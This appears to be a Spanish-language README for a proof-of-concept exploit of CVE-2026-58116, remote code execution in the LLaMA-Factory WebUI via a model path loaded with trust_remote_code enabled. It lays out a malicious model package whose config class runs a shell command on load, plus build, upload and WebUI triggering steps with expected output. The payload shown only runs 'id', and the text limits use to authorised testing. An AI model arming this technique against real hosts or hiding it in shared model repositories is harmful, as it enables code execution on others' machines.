
Prueba de concepto de exploit para CVE-2026-58116 que demuestra ejecución remota de código en LLaMA-Factory WebUI mediante inyección de ruta de modelo trust_remote_code. Incluye modelo de payload y script de verificación para pruebas de seguridad autorizadas.
trust_remote_codePrueba de concepto para CVE-2026-58116 (CVSS 9.8 Crítico): ejecución remota de código en LLaMA-Factory <= v0.9.5.
La WebUI de LLaMA-Factory tiene hardcodeado trust_remote_code=True al cargar un modelo (src/llamafactory/webui/chatter.py:139 y runner.py:175,320). El campo "Ruta del modelo" controlado por el atacante fluye sin validación hacia AutoTokenizer.from_pretrained() / AutoModel.from_pretrained(), por lo que la librería Hugging Face transformers descarga y ejecuta código Python arbitrario desde un repositorio de modelo malicioso.
Este PoC es solo para pruebas de seguridad autorizadas y educación. El payload incluido es intencionalmente inofensivo (imprime reconocimiento del host mediante id). Ejecútelo solo contra sistemas que posea o que tenga autorización para probar. Nunca implemente un payload malicioso contra infraestructura sin permiso explícito.
.
├── poc-model/
│ ├── config.json # declara auto_map → módulos atacantes
│ ├── configuration_poc.py # payload: ejecuta os.system("id ...") al cargar la configuración
│ ├── modeling_poc.py # clase de modelo stub mínima
│ └── __init__.py # lo convierte en un paquete importable
└── build_and_verify.py # ensamblar + verificar el sink de forma aislada
transformers instancia la clase de configuración antes de cargar cualquier peso, por lo que el payload en PoCConfig.__init__ se dispara tan pronto como se lee la configuración — no es necesario que existan pesos. Ese es exactamente el camino que LLaMA-Factory alcanza a través de src/llamafactory/model/loader.py:
def _get_init_kwargs(model_args):
return {"trust_remote_code": model_args.trust_remote_code, ...} # True (hardcodeado)
def load_tokenizer(model_args):
init_kwargs = _get_init_kwargs(model_args)
tokenizer = AutoTokenizer.from_pretrained(model_args.model_name_or_path, **init_kwargs)
Verificar el sink localmente (no se necesita WebUI — demuestra el contrato que la WebUI viola):
pip install transformers torch
python3 build_and_verify.py
Salida esperada — observe que el banner del payload aparece durante la carga de la configuración:
[+] PoC model assembled at .../poc-model
[*] Loading config with trust_remote_code=True (this triggers the PoC)...
============================================================
[CVE-2026-58116 PoC] trust_remote_code payload executed!
time : 2026-07-02T...
host : gpu-host-01
user : hbuser
------------------------------------------------------------
uid=1000(hbuser) gid=1000(hbuser) groups=1000(hbuser)
============================================================
[+] Config loaded: PoCConfig (model_type=poc_model)
Fin a fin mediante una WebUI de LLaMA-Factory en ejecución:
huggingface-cli login
python3 build_and_verify.py --upload your-user/llmfcty-poc
llamafactory-cli webuiyour-user/llmfcty-poc, haz clic en Cargar modelo.